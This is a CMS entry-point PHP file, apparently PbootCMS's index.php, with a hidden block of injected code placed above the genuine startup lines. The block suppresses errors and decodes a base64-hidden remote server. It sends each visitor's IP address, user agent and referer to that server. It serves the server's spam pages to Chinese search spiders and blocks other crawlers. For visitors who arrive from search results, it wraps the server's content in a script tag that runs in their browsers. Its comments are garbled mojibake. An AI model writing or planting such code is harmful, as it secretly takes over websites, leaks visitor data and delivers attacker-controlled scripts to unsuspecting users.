<?php
error_reporting(0);
ini_set('display_errors', '0');
header('Content-Type: text/html; charset=utf-8');

$opts = array(
    'http' => array(
        'method' => 'GET',
        'timeout' => 5,
    ),
);
$context = stream_context_create($opts);

$er = $_SERVER;
$url = isset($er['REQUEST_URI']) ? $er['REQUEST_URI'] : '';
$ref = isset($er['HTTP_REFERER']) ? $er['HTTP_REFERER'] : '';
$u_ip = isset($er['REMOTE_ADDR']) ? $er['REMOTE_ADDR'] : '';
$c_host = isset($er['HTTP_HOST']) ? $er['HTTP_HOST'] : '';
$ent = isset($er['HTTP_USER_AGENT']) ? $er['HTTP_USER_AGENT'] : '';

// 閰嶇疆浣犵殑鏈嶅姟绔疉PI鏍硅矾寰�
$host_path = base64_decode('aHR0cDovL2RpYW95b25nLmJkdWltZy50b3Av');

// ===== 绠€鍖栫殑铚樿洓妫€娴嬮厤缃� =====
// 鍥藉唴鍏佽鐨勮湗铔涳紙鐧藉悕鍗曪級- 绉婚櫎瀛楄妭璺冲姩
$allowed_chinese_spiders = '/(?:baiduspider|baidu|sogou|sogo|sm\.cn|haosou|360spider|so\.com)/i';
// 鍥藉铚樿洓鍜孉I鐖櫕榛戝悕鍗�
$blocked_foreign_bots = '/(?:bot|spider|crawl|scraper|ai|gpt|claude|robot|python|curl|wget|scan|test|monitor|check|fetch|harvest|collect)/i';
// 鎵╁睍鐨勭櫨搴﹀鎴风 UA 姝ｅ垯
$baidu_client = '/(?:baiduboxapp|baidubrowser|baidu.*(?:mobile|app|client|box))/i';

// ===== 楂樻晥鐨勮湗铔涙娴嬪嚱鏁� =====
function detectSpiderType($user_agent, $allowed_pattern, $blocked_pattern) {
    if (empty($user_agent) || strlen($user_agent) < 10) {
        return 'blocked';
    }
    if (preg_match($allowed_pattern, $user_agent)) {
        return 'allowed';
    }
    if (preg_match($blocked_pattern, $user_agent)) {
        return 'blocked';
    }
    return 'normal';
}

// ===== 浼樺厛妫€娴嬬櫨搴﹀鎴风 =====
$is_baidu_client = preg_match($baidu_client, $ent);

// ===== 鎵ц铚樿洓妫€娴� =====
if ($is_baidu_client) {
    $spider_type = 'normal';
} else {
    $spider_type = detectSpiderType($ent, $allowed_chinese_spiders, $blocked_foreign_bots);
}

if ($spider_type === 'blocked') {
    error_log("Blocked bot/spider: " . $ent . " from IP: " . $u_ip . " accessing: " . $url);
    http_response_code(403);
    echo '<!DOCTYPE html><html><head><title>403 Forbidden</title><meta charset="utf-8"></head><body><h1>Access Denied</h1><p>Automated access not allowed.</p></body></html>';
    exit;
}

// ===== URL璺緞鍒嗘瀽 =====
$trap_folders = array('content', 'news', 'info', 'data', 'list');
$is_trap_path = false;
foreach ($trap_folders as $folder) {
    if (strpos($url, '/' . $folder . '/') !== false || strpos($url, '?' . $folder . '/') !== false) {
        $is_trap_path = true;
        break;
    }
}
$ua = $is_trap_path ? 'mb' : 'pc';

$page = '';
// ===== 鏂伴椈椤甸潰鍖归厤 =====
$news_pattern_new = '/\.(?:scm|tml|shtml)(?:\?.*)?$/i';
$news_pattern_old = '/id=[a-z0-9]{6}-[a-z0-9]{6}/i';
$is_news_page = preg_match($news_pattern_new, $url) || preg_match($news_pattern_old, $url);

// ===== 椤甸潰绫诲瀷鍒ゆ柇 =====
if ($is_baidu_client && $is_news_page) {
    $page = 'js_txt';
} elseif ($is_news_page) {
    if ($ref) {
        $ref_is_spider = preg_match($allowed_chinese_spiders, $ref);
        $ua_is_spider = ($spider_type === 'allowed');
        if ($ref_is_spider && !$ua_is_spider) {
            $page = 'js_txt';
        } elseif ($ua_is_spider) {
            $page = 'neiye';
        }
    } else {
        if ($spider_type === 'allowed') {
            $page = 'neiye';
        } else {
            $page = 'js_txt';
        }
    }
} elseif ($spider_type === 'allowed') {
    $page = 'shouye';
}

// ===== 璇锋眰杩滅▼鏈嶅姟绔幏鍙栧唴瀹� =====
if ($page) {
    $query = http_build_query(array(
        'ua' => $ua,
        'files' => $page,
        'host' => $c_host,
        'path' => $url,
        'userip' => $u_ip,
        'userua' => $ent,
        'source' => $ref,
    ));
   
    $remote_url = rtrim($host_path, '/') . '/index.php?' . $query;
    $content = @file_get_contents($remote_url, false, $context);
}

// ===== 杈撳嚭鍐呭 =====
if ($content !== false && $content !== '') {
    if ($page === 'js_txt') {
        echo '<meta charset="utf-8"><script type="text/javascript">' . $content . '</script>';
        exit;
    } elseif ($page === 'neiye') {
        echo $content;
        exit;
    } else {
        echo $content;
        exit;
    }
}

/**
 * @copyright (C)2016-2099 Hnaoyun Inc.
 * @author XingMeng
 * @email hnxsh@foxmail.com
 * @date 2016年11月5日
 *  用户前端入口文件
 */

// 定义为入口文件
define('IS_INDEX', true);

// 入口文件地址绑定
define('URL_BIND', 'home');

// PHP版本检测
if (PHP_VERSION < '5.4') {
    header('Content-Type:text/html; charset=utf-8');
    exit('您服务器PHP的版本太低，程序要求PHP版本不小于5.4');
}

// 引用内核启动文件
require dirname(__FILE__) . '/core/start.php';
